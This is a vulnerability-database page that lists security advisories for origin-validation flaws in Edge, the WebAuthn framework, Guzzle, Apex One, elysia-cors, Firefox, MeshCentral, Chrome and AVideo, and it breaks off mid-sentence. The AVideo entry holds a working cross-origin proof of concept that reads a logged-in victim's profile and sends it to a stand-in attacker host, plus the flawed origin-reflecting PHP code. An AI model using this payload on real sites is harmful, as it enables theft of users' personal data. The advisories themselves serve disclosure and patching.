CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
961 vulnerabilities reference this CWE, most recent first.
GHSA-F74H-78GX-6G84
Vulnerability from github – Published: 2026-08-04 00:34 – Updated: 2026-08-04 00:34Origin validation error in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2026-66322"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T00:17:39Z",
"severity": "HIGH"
},
"details": "Origin validation error in Microsoft Edge (Chromium-based) allows an unauthorized attacker to perform spoofing over a network.",
"id": "GHSA-f74h-78gx-6g84",
"modified": "2026-08-04T00:34:55Z",
"published": "2026-08-04T00:34:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66322"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66322"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F7PM-6HR8-7GGM
Vulnerability from github – Published: 2026-03-10 01:19 – Updated: 2026-03-10 22:21Summary
When allowed_origins is configured, CheckAllowedOrigins reduces URL-like values to their host component and accepts on host match alone. This makes exact origin policies impossible to express: scheme and port differences are silently ignored.
Details
CheckAllowedOrigins stores each configured allowed origin as:
parse_url($allowedOrigin)['host'] ?? $allowedOrigin
and later reduces the received clientDataJSON.origin the same way:
parse_url($C->origin)['host'] ?? $C->origin
If the reduced value matches, the method returns early. As a result, for the normal allowed_origins path, the later HTTPS check is not reached.
This differs from WebAuthn Level 2, which requires verifying that C.origin matches the RP's origin (scheme + host + port), separately from verifying that authData.rpIdHash matches the expected RP ID.
Affected code: - CheckAllowedOrigins.php
Spec references: - §7.1 Registering a New Credential - §7.2 Verifying an Authentication Assertion - CollectedClientData.origin
PoC
Configuration:
webauthn:
allowed_origins:
- https://login.example.com:8443
allow_subdomains: false
Send a registration or authentication response whose clientDataJSON.origin is:
https://login.example.com:9443
Observed: the response is accepted, because both values are reduced to login.example.com.
Expected: the response should be rejected, because https://login.example.com:8443 and https://login.example.com:9443 are different origins.
Impact
This is an origin validation error (CWE-346) affecting deployments that use allowed_origins. The most practical browser-facing scenario is same-host / different-port origin confusion. In non-browser or custom clients, scheme confusion may also be relevant.
Fix
Fixed in version 5.2.4 by rewriting CheckAllowedOrigins to perform full origin comparison (scheme + host + port) as required by the WebAuthn spec:
- Origins configured with a scheme (e.g.
https://example.com:8443) are now stored and compared as fullscheme://host[:port]values, with default port normalization (443 for HTTPS, 80 for HTTP). - Origins configured without a scheme are still matched by host only, for backward compatibility.
- Subdomain matching now also verifies scheme and port consistency.
See commit b4cd9a43.
Mitigation
Upgrade to web-auth/webauthn-framework (or web-auth/webauthn-lib / web-auth/webauthn-symfony-bundle) >= 5.2.4.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "web-auth/webauthn-framework"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "web-auth/webauthn-lib"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "web-auth/webauthn-symfony-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30964"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T01:19:46Z",
"nvd_published_at": "2026-03-10T18:18:55Z",
"severity": "MODERATE"
},
"details": "### Summary\nWhen `allowed_origins` is configured, `CheckAllowedOrigins` reduces URL-like values to their `host` component and accepts on host match alone. This makes exact origin policies impossible to express: scheme and port differences are silently ignored.\n\n### Details\n`CheckAllowedOrigins` stores each configured allowed origin as:\n\n```php\nparse_url($allowedOrigin)[\u0027host\u0027] ?? $allowedOrigin\n```\n\nand later reduces the received `clientDataJSON.origin` the same way:\n\n```php\nparse_url($C-\u003eorigin)[\u0027host\u0027] ?? $C-\u003eorigin\n```\n\nIf the reduced value matches, the method returns early. As a result, for the normal `allowed_origins` path, the later HTTPS check is not reached.\n\nThis differs from [WebAuthn Level 2](https://www.w3.org/TR/webauthn-2/), which requires verifying that `C.origin` matches the RP\u0027s origin (scheme + host + port), separately from verifying that `authData.rpIdHash` matches the expected RP ID.\n\n**Affected code:**\n- [CheckAllowedOrigins.php](https://github.com/web-auth/webauthn-framework/blob/d58906e/src/webauthn/src/CeremonyStep/CheckAllowedOrigins.php)\n\n**Spec references:**\n- [\u00a77.1 Registering a New Credential](https://www.w3.org/TR/webauthn-2/#sctn-registering-a-new-credential)\n- [\u00a77.2 Verifying an Authentication Assertion](https://www.w3.org/TR/webauthn-2/#sctn-verifying-assertion)\n- [CollectedClientData.origin](https://www.w3.org/TR/webauthn-2/#dom-collectedclientdata-origin)\n\n### PoC\nConfiguration:\n\n```yaml\nwebauthn:\n allowed_origins:\n - https://login.example.com:8443\n allow_subdomains: false\n```\n\nSend a registration or authentication response whose `clientDataJSON.origin` is:\n\n```text\nhttps://login.example.com:9443\n```\n\n**Observed:** the response is accepted, because both values are reduced to `login.example.com`.\n\n**Expected:** the response should be rejected, because `https://login.example.com:8443` and `https://login.example.com:9443` are different origins.\n\n### Impact\nThis is an origin validation error (CWE-346) affecting deployments that use `allowed_origins`. The most practical browser-facing scenario is same-host / different-port origin confusion. In non-browser or custom clients, scheme confusion may also be relevant.\n\n### Fix\nFixed in version **5.2.4** by rewriting `CheckAllowedOrigins` to perform full origin comparison (scheme + host + port) as required by the WebAuthn spec:\n\n- Origins configured with a scheme (e.g. `https://example.com:8443`) are now stored and compared as full `scheme://host[:port]` values, with default port normalization (443 for HTTPS, 80 for HTTP).\n- Origins configured without a scheme are still matched by host only, for backward compatibility.\n- Subdomain matching now also verifies scheme and port consistency.\n\nSee commit [b4cd9a43](https://github.com/web-auth/webauthn-framework/commit/b4cd9a43).\n\n### Mitigation\nUpgrade to `web-auth/webauthn-framework` (or `web-auth/webauthn-lib` / `web-auth/webauthn-symfony-bundle`) **\u003e= 5.2.4**.",
"id": "GHSA-f7pm-6hr8-7ggm",
"modified": "2026-03-10T22:21:15Z",
"published": "2026-03-10T01:19:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/web-auth/webauthn-framework/security/advisories/GHSA-f7pm-6hr8-7ggm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30964"
},
{
"type": "WEB",
"url": "https://github.com/web-auth/webauthn-framework/commit/535cc3c2dcbd9c3dfd5e00a254ad4a984e5e7839"
},
{
"type": "WEB",
"url": "https://github.com/web-auth/webauthn-framework/commit/b4cd9a4394c35fcac6080fd2f84f4f58a30abc01"
},
{
"type": "PACKAGE",
"url": "https://github.com/web-auth/webauthn-framework"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Webauthn Framework: allowed_origins collapses URL-like origins to host-only values, bypassing exact origin validation"
}
GHSA-F7VP-7XGX-4W4R
Vulnerability from github – Published: 2026-08-03 21:05 – Updated: 2026-08-03 21:05Impact
SetCookie::matchesDomain() gives every subdomain of a cookie Domain that cookie unless it recognizes the Domain as an IP literal or a numeric host, and it decides that from the domain's own text, so two spellings a transport reads as an address keep subdomain scope. On 7.15, hexadecimal and mixed-base forms such as 0x7f000001 and 0177.0.0.0x1 go unrecognized while libcurl 8.21.0 reads both as 127.0.0.1, so closing them completes the rule GHSA-g446-98w2-8p5w (CVE-2026-59883) set out to establish, which cited the WHATWG IPv4 parser and so already admitted a 0x part. A percent-escaped Domain keeps that scope on both branches for a different reason: percent-decoding sits above numeric parsing, so 192.168.0.%31 and 127.0.0.1%2e are registered names in the URI grammar rather than address literals, and no numeric rule in any base classifies them, while libcurl decodes the host before it resolves and reads them as 192.168.0.1 and 127.0.0.1. The escape must fall in the rightmost label on 8.0.0, which already catches a decimal, octal or 0x part there, but not on 7.15, where %31%32%37.0.0.0x1 also reads as 127.0.0.1; 8.0.0 is affected in the percent spelling alone.
Both directions of the defect are reproduced over a real socket. A cookie stored for Domain=0x7f000001 is placed in the Cookie header of a request to evil.0x7f000001, disclosing a session identifier or token to a host that is not that address, and a response from evil.0x7f000001 setting Domain=0x7f000001 is accepted into the jar and replayed to the address, so a server answering for the look-alike name can fix a session or set application state.
Exploitation requires the application to enable cookie support, address an origin by one of these spellings, and contact a host whose name ends in it. No public DNS delegation provides such a name, so the exposure is to private, split-horizon and container zones. Applications that do not use Guzzle's cookies, that keep a separate jar for each host or trust boundary, or that address origins only by ordinary names are not affected.
Patches
This is a summary; the patches are the authority. The issue is fixed in 7.15.2 and 8.0.1, which hold a cookie Domain containing a % byte to an exact match against the request host. 7.15.2 additionally holds to an exact match a Domain whose every dot-separated part is decimal, octal or hexadecimal, a rule wide enough that 0x100000000, a name to libcurl, loses subdomain matching too; 8.0.0 already recognizes a 0x-prefixed rightmost label. One class stays open: an IDN-capable transport reads a fullwidth-digit Domain such as 127.0.0.１ as 127.0.0.1 while Guzzle matches it by suffix, and these patches do not close that. Versions before 7.15.2 and version 8.0.0 are affected, 8.0.0 in the percent spelling alone.
Workarounds
If you cannot upgrade, do not share one CookieJar between an origin addressed by a numeric or percent-escaped spelling and any other host ending in that spelling. Use a separate jar for each host or trust boundary, or address such an origin by its canonical dotted-decimal form, writing 127.0.0.1, which released versions already hold to an exact match, rather than 0x7f000001 or 127.0.0.%31. Rejecting a request URI host that contains a percent escape, before you hand the URI to Guzzle and on every redirect hop, closes that spelling, and rejecting a non-ASCII byte closes the fullwidth one, but nothing outside the jar closes the hexadecimal one.
Do not use filter_var() with FILTER_VALIDATE_IP to decide whether a domain is an address: it rejects 0x7f000001 and 127.0.0.%31, which a transport reads as 127.0.0.1.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69245"
],
"database_specific": {
"cwe_ids": [
"CWE-180",
"CWE-346",
"CWE-384"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:05:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\n`SetCookie::matchesDomain()` gives every subdomain of a cookie `Domain` that cookie unless it recognizes the `Domain` as an IP literal or a numeric host, and it decides that from the domain\u0027s own text, so two spellings a transport reads as an address keep subdomain scope. On `7.15`, hexadecimal and mixed-base forms such as `0x7f000001` and `0177.0.0.0x1` go unrecognized while libcurl 8.21.0 reads both as `127.0.0.1`, so closing them completes the rule `GHSA-g446-98w2-8p5w` (`CVE-2026-59883`) set out to establish, which cited the WHATWG IPv4 parser and so already admitted a `0x` part. A percent-escaped `Domain` keeps that scope on both branches for a different reason: percent-decoding sits above numeric parsing, so `192.168.0.%31` and `127.0.0.1%2e` are registered names in the URI grammar rather than address literals, and no numeric rule in any base classifies them, while libcurl decodes the host before it resolves and reads them as `192.168.0.1` and `127.0.0.1`. The escape must fall in the rightmost label on `8.0.0`, which already catches a decimal, octal or `0x` part there, but not on `7.15`, where `%31%32%37.0.0.0x1` also reads as `127.0.0.1`; `8.0.0` is affected in the percent spelling alone.\n\nBoth directions of the defect are reproduced over a real socket. A cookie stored for `Domain=0x7f000001` is placed in the `Cookie` header of a request to `evil.0x7f000001`, disclosing a session identifier or token to a host that is not that address, and a response from `evil.0x7f000001` setting `Domain=0x7f000001` is accepted into the jar and replayed to the address, so a server answering for the look-alike name can fix a session or set application state.\n\nExploitation requires the application to enable cookie support, address an origin by one of these spellings, and contact a host whose name ends in it. No public DNS delegation provides such a name, so the exposure is to private, split-horizon and container zones. Applications that do not use Guzzle\u0027s cookies, that keep a separate jar for each host or trust boundary, or that address origins only by ordinary names are not affected.\n\n### Patches\n\nThis is a summary; the patches are the authority. The issue is fixed in `7.15.2` and `8.0.1`, which hold a cookie `Domain` containing a `%` byte to an exact match against the request host. `7.15.2` additionally holds to an exact match a `Domain` whose every dot-separated part is decimal, octal or hexadecimal, a rule wide enough that `0x100000000`, a name to libcurl, loses subdomain matching too; `8.0.0` already recognizes a `0x`-prefixed rightmost label. One class stays open: an IDN-capable transport reads a fullwidth-digit `Domain` such as `127.0.0.\uff11` as `127.0.0.1` while Guzzle matches it by suffix, and these patches do not close that. Versions before `7.15.2` and version `8.0.0` are affected, `8.0.0` in the percent spelling alone.\n\n### Workarounds\n\nIf you cannot upgrade, do not share one `CookieJar` between an origin addressed by a numeric or percent-escaped spelling and any other host ending in that spelling. Use a separate jar for each host or trust boundary, or address such an origin by its canonical dotted-decimal form, writing `127.0.0.1`, which released versions already hold to an exact match, rather than `0x7f000001` or `127.0.0.%31`. Rejecting a request URI host that contains a percent escape, before you hand the URI to Guzzle and on every redirect hop, closes that spelling, and rejecting a non-ASCII byte closes the fullwidth one, but nothing outside the jar closes the hexadecimal one.\n\nDo not use `filter_var()` with `FILTER_VALIDATE_IP` to decide whether a domain is an address: it rejects `0x7f000001` and `127.0.0.%31`, which a transport reads as `127.0.0.1`.",
"id": "GHSA-f7vp-7xgx-4w4r",
"modified": "2026-08-03T21:05:26Z",
"published": "2026-08-03T21:05:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-f7vp-7xgx-4w4r"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3907"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3908"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/3aeea0406aab88cbbd86531313d7cebf8ae149a4"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/744101956d78b7c1384d0cbf379db13e859167bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.15.2"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/8.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guzzle: Noncanonical cookie domain keeps subdomain scope"
}
GHSA-F96H-7C9X-735R
Vulnerability from github – Published: 2024-01-23 21:30 – Updated: 2025-06-20 21:31An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.
Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
This vulnerability is similar to, but not identical to, CVE-2023-47194.
{
"affected": [],
"aliases": [
"CVE-2023-47193"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-23T21:15:08Z",
"severity": "HIGH"
},
"details": "An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis vulnerability is similar to, but not identical to, CVE-2023-47194.",
"id": "GHSA-f96h-7c9x-735r",
"modified": "2025-06-20T21:31:49Z",
"published": "2024-01-23T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47193"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1612"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F9QJ-4C5X-CPCW
Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2026-01-29 02:36An Origin Validation Error in the elysia-cors library thru 1.3.0 allows attackers to bypass Cross-Origin Resource Sharing (CORS) restrictions. The library incorrectly validates the supplied origin by checking if it is a substring of any domain in the site's CORS policy, rather than performing an exact match. For example, a malicious origin like "notexample.com", "example.common.net" is whitelisted when the site's CORS policy specifies "example.com." This vulnerability enables unauthorized access to user data on sites using the elysia-cors library for CORS validation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@elysiajs/cors"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-50864"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-20T20:50:39Z",
"nvd_published_at": "2025-08-20T15:15:32Z",
"severity": "MODERATE"
},
"details": "An Origin Validation Error in the elysia-cors library thru 1.3.0 allows attackers to bypass Cross-Origin Resource Sharing (CORS) restrictions. The library incorrectly validates the supplied origin by checking if it is a substring of any domain in the site\u0027s CORS policy, rather than performing an exact match. For example, a malicious origin like \"notexample.com\", \"example.common.net\" is whitelisted when the site\u0027s CORS policy specifies \"example.com.\" This vulnerability enables unauthorized access to user data on sites using the elysia-cors library for CORS validation.",
"id": "GHSA-f9qj-4c5x-cpcw",
"modified": "2026-01-29T02:36:18Z",
"published": "2025-08-20T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50864"
},
{
"type": "WEB",
"url": "https://github.com/elysiajs/elysia-cors/commit/9b9eb92e32a7a4b43b6d5108668941701c33e221"
},
{
"type": "PACKAGE",
"url": "https://github.com/elysiajs/elysia-cors"
},
{
"type": "WEB",
"url": "https://github.com/elysiajs/elysia-cors/blob/main/src/index.ts"
},
{
"type": "WEB",
"url": "https://github.com/elysiajs/elysia-cors/tree/main"
},
{
"type": "WEB",
"url": "https://medium.com/@raghavagrawal_23036/cors-bypass-in-popular-opensource-library-ad27fb41e16a"
},
{
"type": "WEB",
"url": "http://elysiajs.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "elysia-cors Origin Validation Error"
}
GHSA-FC8F-JHCW-P24V
Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-16 15:34Remote Agent, used in WebDriver, did not validate the Host or Origin headers. This could have allowed websites to connect back locally to the user's browser to control it.
This bug only affected Firefox when WebDriver was enabled, which is not the default configuration.. This vulnerability affects Firefox < 97.
{
"affected": [],
"aliases": [
"CVE-2022-22757"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-345",
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-22T20:15:00Z",
"severity": "MODERATE"
},
"details": "Remote Agent, used in WebDriver, did not validate the Host or Origin headers. This could have allowed websites to connect back locally to the user\u0027s browser to control it. \u003cbr\u003e*This bug only affected Firefox when WebDriver was enabled, which is not the default configuration.*. This vulnerability affects Firefox \u003c 97.",
"id": "GHSA-fc8f-jhcw-p24v",
"modified": "2025-04-16T15:34:06Z",
"published": "2022-12-22T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22757"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1720098"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCVP-V754-R7RH
Vulnerability from github – Published: 2026-07-31 00:30 – Updated: 2026-07-31 00:30MeshCentral 1.1.21 contains a cross-site WebSocket hijacking protection bypass vulnerability that allows unauthenticated remote attackers to hijack authenticated administrator sessions by exploiting an unconditional early return in the CheckWebServerOriginName() function within webserver.js when self-signed certificates are in use. Attackers can open cross-origin WebSocket connections to any of the twelve WebSocket endpoints, send crafted action commands to exfiltrate the server sessionKey used to sign session cookies, forge session tokens as arbitrary users, and gain full remote control of all managed devices governed by the MeshCentral instance.
{
"affected": [],
"aliases": [
"CVE-2026-66420"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T23:16:53Z",
"severity": "HIGH"
},
"details": "MeshCentral 1.1.21 contains a cross-site WebSocket hijacking protection bypass vulnerability that allows unauthenticated remote attackers to hijack authenticated administrator sessions by exploiting an unconditional early return in the CheckWebServerOriginName() function within webserver.js when self-signed certificates are in use. Attackers can open cross-origin WebSocket connections to any of the twelve WebSocket endpoints, send crafted action commands to exfiltrate the server sessionKey used to sign session cookies, forge session tokens as arbitrary users, and gain full remote control of all managed devices governed by the MeshCentral instance.",
"id": "GHSA-fcvp-v754-r7rh",
"modified": "2026-07-31T00:30:23Z",
"published": "2026-07-31T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66420"
},
{
"type": "WEB",
"url": "https://github.com/Ylianst/MeshCentral/pull/7882"
},
{
"type": "WEB",
"url": "https://github.com/Ylianst/MeshCentral/commit/f04c9f4"
},
{
"type": "WEB",
"url": "https://github.com/Ylianst/MeshCentral"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/meshcentral-cross-site-websocket-hijacking-via-origin-validation-bypass-on-self-signed-certificate-deployments"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FF3F-6WM3-VJ2M
Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 15:31Inappropriate implementation in DataTransfer in Google Chrome prior to 151.0.7922.72 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-17895"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T01:16:53Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in DataTransfer in Google Chrome prior to 151.0.7922.72 allowed a remote attacker who convinced a user to engage in specific UI gestures to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-ff3f-6wm3-vj2m",
"modified": "2026-07-30T15:31:43Z",
"published": "2026-07-30T03:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17895"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/524931675"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FF4M-QXJH-Q4CW
Vulnerability from github – Published: 2026-05-21 15:34 – Updated: 2026-05-21 15:34An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-34927 but exists in a different inter-process communication mechanism.
Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-34929"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-21T14:16:45Z",
"severity": "HIGH"
},
"details": "An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-34927 but exists in a different inter-process communication mechanism.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
"id": "GHSA-ff4m-qxjh-q4cw",
"modified": "2026-05-21T15:34:09Z",
"published": "2026-05-21T15:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34929"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/en-US/solution/KA-0023430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FF5Q-CC22-FGP4
Vulnerability from github – Published: 2026-04-14 23:18 – Updated: 2026-04-24 20:40Summary
The CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/* endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.
Details
Bypass Vector 1: router.php independent CORS handler
plugin/API/router.php:4-8 runs before any application code:
// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
if (empty($HTTP_ORIGIN)) {
header('Access-Control-Allow-Origin: *');
} else {
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}
This reflects any Origin header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed allowOrigin() function never executes:
// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
header("Access-Control-Max-Age: 86400");
http_response_code(200);
exit;
}
All /api/* requests are routed through this file via .htaccess rules (lines 131-132).
Bypass Vector 2: allowOrigin($allowAll=true)
Both plugin/API/get.json.php:12 and plugin/API/set.json.php:12 call allowOrigin(true). In objects/functions.php:2773-2790, the $allowAll=true code path reflects any origin with credentials:
// objects/functions.php lines 2773-2777
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
}
This code path was untouched by commit 986e64aad, which only hardened the default ($allowAll=false) path.
Impact on data exposure
Because the victim's session cookies are sent with credentialed cross-origin requests, User::isLogged() returns true and User::getId() returns the victim's user ID. This means:
- Video listing endpoint (
get_api_video): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (functions.php:1752), so authenticated CORS requests receive the full data. - User profile endpoint (
get_api_user): When$isViewingOwnProfileis true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.
Additional issue: Referer header fallback
router.php line 4 falls back to HTTP_REFERER when HTTP_ORIGIN is absent, injecting an attacker-controlled full URL (not just origin) into the Access-Control-Allow-Origin header. This is non-standard and could cause unexpected behavior.
PoC
Step 1: Host the following HTML on an attacker-controlled domain:
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
Step 2: Victim visits attacker page while logged into AVideo.
Step 3: The browser sends the request with victim's session cookies. router.php line 8 reflects the attacker's origin. get.json.php calls allowOrigin(true) which re-sets Access-Control-Allow-Origin to the attacker's origin with Access-Control-Allow-Credentials: true.
Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.
For set endpoints (POST with custom headers requiring preflight):
fetch('https://target-avideo.example/api/SomeSetEndpoint', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({/* parameters */})
});
The preflight OPTIONS is handled by router.php lines 14-18, which reflect the origin and exit — the CORS fix in allowOrigin() never runs.
Impact
- Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
- Account information disclosure: The user profile endpoint returns the full user record including
recoverPass(password recovery token),isAdminstatus, and all PII fields when accessed as the authenticated user. - Action on behalf of user: Write endpoints (
